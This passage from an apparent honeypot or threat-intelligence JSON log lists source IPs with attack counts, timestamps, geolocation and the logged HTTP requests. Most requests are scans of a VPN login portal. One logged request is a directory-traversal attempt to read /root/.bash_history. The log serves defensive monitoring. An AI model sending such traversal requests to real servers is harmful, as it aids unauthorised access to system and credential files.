      "last_seen": "2026-04-30T01:25:55.360Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.48": {
      "attack_count": 9,
      "first_seen": "2026-04-08T18:26:27.046Z",
      "last_seen": "2026-04-27T14:13:13.907Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.227": {
      "attack_count": 9,
      "first_seen": "2026-04-11T08:40:02.070Z",
      "last_seen": "2026-04-29T05:08:12.150Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.233": {
      "attack_count": 9,
      "first_seen": "2026-04-08T23:47:38.993Z",
      "last_seen": "2026-04-29T09:06:49.595Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.99": {
      "attack_count": 9,
      "first_seen": "2026-04-13T08:43:16.416Z",
      "last_seen": "2026-04-30T01:24:30.623Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.227": {
      "attack_count": 9,
      "first_seen": "2026-04-21T18:25:53.697Z",
      "last_seen": "2026-04-24T12:23:10.135Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.98.170": {
      "attack_count": 9,
      "first_seen": "2026-04-22T09:45:14.794Z",
      "last_seen": "2026-04-25T12:53:43.809Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "156.229.254.135": {
      "attack_count": 8,
      "first_seen": "2026-04-13T07:38:10.925Z",
      "last_seen": "2026-04-13T07:38:34.284Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.142.154.47": {
      "attack_count": 8,
      "first_seen": "2026-04-27T15:36:58.936Z",
      "last_seen": "2026-04-27T15:37:07.569Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD."
    },
    "142.111.254.171": {
      "attack_count": 7,
      "first_seen": "2026-04-13T15:51:04.125Z",
      "last_seen": "2026-04-13T15:51:29.594Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "146.70.165.112": {
      "attack_count": 7,
      "first_seen": "2026-04-13T12:38:30.023Z",
      "last_seen": "2026-04-29T17:25:18.261Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.68.81.131": {
      "attack_count": 7,
      "first_seen": "2026-04-12T00:48:23.210Z",
      "last_seen": "2026-04-12T00:48:39.934Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.159.126.201": {
      "attack_count": 7,
      "first_seen": "2026-04-12T01:45:05.240Z",
      "last_seen": "2026-04-12T01:45:17.682Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.102.247.49": {
      "attack_count": 6,
      "first_seen": "2026-04-27T13:19:54.636Z",
      "last_seen": "2026-04-29T16:42:49.339Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.172.112": {
      "attack_count": 6,
      "first_seen": "2026-04-08T11:01:37.929Z",
      "last_seen": "2026-04-08T19:24:53.789Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.211.51": {
      "attack_count": 6,
      "first_seen": "2026-04-24T13:04:31.298Z",
      "last_seen": "2026-04-28T05:14:08.693Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "149.40.50.122": {
      "attack_count": 6,
      "first_seen": "2026-04-25T03:25:44.101Z",
      "last_seen": "2026-04-28T07:34:29.698Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "155.2.191.125": {
      "attack_count": 6,
      "first_seen": "2026-04-18T16:48:12.746Z",
      "last_seen": "2026-04-19T06:09:42.154Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "185.156.46.134": {
      "attack_count": 6,
      "first_seen": "2026-04-08T12:28:35.731Z",
      "last_seen": "2026-04-21T11:39:43.417Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.104.109": {
      "attack_count": 6,
      "first_seen": "2026-04-18T03:35:55.513Z",
      "last_seen": "2026-04-21T01:20:54.905Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.104.170": {
      "attack_count": 6,
      "first_seen": "2026-04-13T13:16:27.647Z",
      "last_seen": "2026-04-26T01:24:05.848Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.48": {
      "attack_count": 6,
      "first_seen": "2026-04-16T02:52:08.391Z",
      "last_seen": "2026-04-18T07:45:53.040Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.117.100": {
      "attack_count": 6,
      "first_seen": "2026-04-11T07:44:56.821Z",
      "last_seen": "2026-04-21T02:56:55.692Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.77.105": {
      "attack_count": 6,
      "first_seen": "2026-04-18T21:12:59.993Z",
      "last_seen": "2026-04-27T16:11:49.300Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.187": {
      "attack_count": 6,
      "first_seen": "2026-04-09T02:35:21.398Z",
      "last_seen": "2026-04-09T02:52:04.599Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.81.61": {
      "attack_count": 6,
      "first_seen": "2026-04-25T08:40:56.525Z",
      "last_seen": "2026-04-25T08:55:11.205Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.172.213": {
      "attack_count": 6,
      "first_seen": "2026-04-12T02:22:36.312Z",
      "last_seen": "2026-04-12T02:22:56.430Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "209.99.190.40": {
      "attack_count": 5,
      "first_seen": "2026-04-23T04:19:56.129Z",
      "last_seen": "2026-04-23T04:20:06.112Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd"
    },
    "109.105.210.104": {
      "attack_count": 4,
      "first_seen": "2026-04-05T16:07:51.688Z",
      "last_seen": "2026-04-15T07:40:02.903Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "23.234.75.219": {
      "attack_count": 4,
      "first_seen": "2026-04-10T07:37:31.674Z",
      "last_seen": "2026-04-10T08:28:36.543Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.141.119.155": {
      "attack_count": 3,
      "first_seen": "2026-04-25T01:49:35.214Z",
      "last_seen": "2026-04-25T01:49:41.999Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Detroit",
      "asn": 207990,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.234.101.175": {
      "attack_count": 3,
      "first_seen": "2026-04-09T00:56:13.337Z",
      "last_seen": "2026-04-09T00:56:23.043Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.112.233": {
      "attack_count": 3,
      "first_seen": "2026-04-22T10:55:43.581Z",
      "last_seen": "2026-04-22T10:55:51.578Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.68.105": {
      "attack_count": 3,
      "first_seen": "2026-04-22T09:41:28.733Z",
      "last_seen": "2026-04-22T09:41:36.204Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.227": {
      "attack_count": 3,
      "first_seen": "2026-04-24T21:27:31.312Z",
      "last_seen": "2026-04-24T21:27:39.790Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "47.250.155.102": {
      "attack_count": 3,
      "first_seen": "2026-04-28T02:37:05.216Z",
      "last_seen": "2026-04-28T02:37:09.817Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "79.127.222.213": {
      "attack_count": 3,
      "first_seen": "2026-04-18T05:14:27.131Z",
      "last_seen": "2026-04-18T05:14:34.493Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "110.90.224.179": {
      "attack_count": 2,
      "first_seen": "2026-04-03T01:51:23.491Z",
      "last_seen": "2026-04-03T01:51:26.494Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet"
    },
    "168.144.26.101": {
      "attack_count": 2,
      "first_seen": "2026-04-05T13:01:16.403Z",
      "last_seen": "2026-04-05T13:01:19.925Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "198.235.24.249": {
      "attack_count": 2,
      "first_seen": "2026-04-15T05:23:19.986Z",
      "last_seen": "2026-04-15T05:23:22.989Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "3.92.239.65": {
      "attack_count": 2,
      "first_seen": "2026-04-27T00:56:30.556Z",
      "last_seen": "2026-04-27T00:56:33.559Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.212.59.240": {
      "attack_count": 2,
      "first_seen": "2026-04-15T01:03:12.278Z",
      "last_seen": "2026-04-15T01:03:15.281Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.135": {
      "attack_count": 2,
      "first_seen": "2026-04-24T02:51:49.221Z",
      "last_seen": "2026-04-24T02:52:00.478Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "71.6.232.23": {
      "attack_count": 2,
      "first_seen": "2026-04-13T16:53:18.404Z",
      "last_seen": "2026-04-13T16:53:21.407Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc."
    },
    "74.249.178.165": {
      "attack_count": 2,
      "first_seen": "2026-04-05T04:18:28.883Z",
      "last_seen": "2026-04-05T04:18:31.887Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "91.230.168.190": {
      "attack_count": 2,
      "first_seen": "2026-04-05T11:49:11.907Z",
      "last_seen": "2026-04-26T11:48:54.793Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "209.99.185.226": {
      "attack_count": 1,
      "first_seen": "2026-04-10T10:13:19.580Z",
      "last_seen": "2026-04-10T10:13:19.580Z",
      "ports": [],
      "event_types": [
        "\"GET /global-protect/login.esp HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd"
    },
    "213.209.159.75": {
      "attack_count": 1,
      "first_seen": "2026-04-21T17:01:18.097Z",
      "last_seen": "2026-04-21T17:01:18.097Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL"
    },
    "51.210.106.125": {
      "attack_count": 1,
      "first_seen": "2026-04-05T22:04:10.943Z",
      "last_seen": "2026-04-05T22:04:10.943Z",
      "ports": [],
      "event_types": [
        "\"GET /../../../../../../../../../../root/.bash_history HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS"
    },
    "65.49.20.114": {
      "attack_count": 1,
      "first_seen": "2026-04-20T00:30:21.564Z",
      "last_seen": "2026-04-20T00:30:21.564Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.230.168.207": {
      "attack_count": 1,
      "first_seen": "2026-04-26T18:29:09.676Z",
      "last_seen": "2026-04-26T18:29:09.676Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "166.88.215.51": {
      "attack_count": 43,
      "first_seen": "2026-04-13T02:01:22.597Z",
      "last_seen": "2026-04-13T10:36:18.507Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "37.19.210.11": {
      "attack_count": 42,
      "first_seen": "2026-04-09T01:21:11.746Z",
      "last_seen": "2026-04-29T02:22:39.950Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "138.249.131.202": {
      "attack_count": 31,
      "first_seen": "2026-04-12T02:22:16.391Z",
      "last_seen": "2026-04-13T01:20:46.879Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "192.177.18.88": {
      "attack_count": 30,
      "first_seen": "2026-04-13T03:17:57.811Z",
      "last_seen": "2026-04-15T06:06:10.068Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
